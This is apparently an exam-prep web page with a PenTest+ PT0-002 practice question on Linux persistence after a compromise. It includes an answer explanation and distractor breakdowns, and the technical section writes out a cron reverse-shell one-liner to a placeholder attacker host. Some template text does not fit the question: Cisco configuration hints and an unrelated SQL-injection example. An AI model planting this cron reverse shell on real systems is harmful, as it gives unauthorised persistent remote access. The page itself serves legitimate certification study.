The answer is adding a cron job to run a reverse shell every minute, as this is the most reliable Linux persistence technique for maintaining access after compromising a system. A cron job operates independently of user login sessions and, when placed in the root crontab, executes with full root privileges at fixed intervals, ensuring the reverse shell reconnects even if the initial session is lost. On the CompTIA PenTest+ PT0-002 exam, this question tests your understanding of post-exploitation persistence mechanisms, often contrasting cron jobs against less reliable methods like modifying user accounts or sudoers files, which require active sessions or can be easily detected. A common trap is choosing SSH key persistence, but cron jobs are superior because they survive reboots and do not rely on network services that may be disabled. Memory tip: “Cron keeps the connection coming back—every minute, on a mission.”
PT0-002 Attacks and Exploits Practice Question
This PT0-002 practice question tests your understanding of attacks and exploits. This is a configuration task: choose the command set that satisfies every stated requirement. Small differences — like 'secret' vs 'password' or 'transport input ssh' vs 'all' — change whether the answer is correct. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
A penetration tester has compromised a Linux web server via a remote file inclusion vulnerability. The tester wants to maintain persistent access on the system. Which technique is MOST reliable for persistence on a Linux system?
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Adding a cron job to run a reverse shell every minute
A cron job is the most reliable persistence mechanism because it operates independently of user login sessions, runs with root privileges if configured in the root crontab, and can execute a reverse shell at a fixed interval (e.g., every minute). Unlike user accounts or sudoers modifications, a cron job does not require the attacker to maintain an active session or rely on system services that may be monitored or disabled.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✓
Adding a cron job to run a reverse shell every minute
Why this is correct
Cron jobs are simple, reliable, and persist across reboots.
Related concept
Read the scenario before looking for a memorised answer.
✗
Creating a local user account with UID 0
Why it's wrong here
This can be detected by security tools and may be removed during maintenance.
✗
Modifying the sudoers file to grant the tester sudo access
Why it's wrong here
This relies on the existing user remaining; if the user is removed, access is lost.
✗
Installing a kernel module rootkit
Why it's wrong here
Complex to implement and may cause system instability or detection.
Common exam traps
Common exam trap: answer the scenario, not the keyword
The trap here is that candidates may assume creating a root-equivalent user (UID 0) is stealthy, but in practice it is easily detected by auditing tools and log reviews, whereas a cron job blends in with normal system activity and provides automated, recurring access.
Detailed technical explanation
How to think about this question
Cron jobs are defined in crontab files (e.g., /etc/crontab, /var/spool/cron/crontabs/) and are executed by the cron daemon (crond) based on system time. A reverse shell cron job can use a one-liner like `* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'` to reconnect every minute, making it resilient against reboots and session timeouts. In real-world engagements, attackers often place cron jobs in user-specific crontabs to avoid detection in system-wide files.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
TExam Day Tips
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A security team runs a vulnerability scan on a web application and discovers an unpatched SQL injection flaw. The team prioritises remediation by CVSS score — critical flaws are patched within 24 hours, high within 7 days. Questions like this test whether you understand vulnerability management processes, scanning tools, and remediation prioritisation.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this PT0-002 question in full detail.
Attacks and Exploits — This question tests Attacks and Exploits — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Adding a cron job to run a reverse shell every minute — A cron job is the most reliable persistence mechanism because it operates independently of user login sessions, runs with root privileges if configured in the root crontab, and can execute a reverse shell at a fixed interval (e.g., every minute). Unlike user accounts or sudoers modifications, a cron job does not require the attacker to maintain an active session or rely on system services that may be monitored or disabled.
What should I do if I get this PT0-002 question wrong?
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
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Question Discussion
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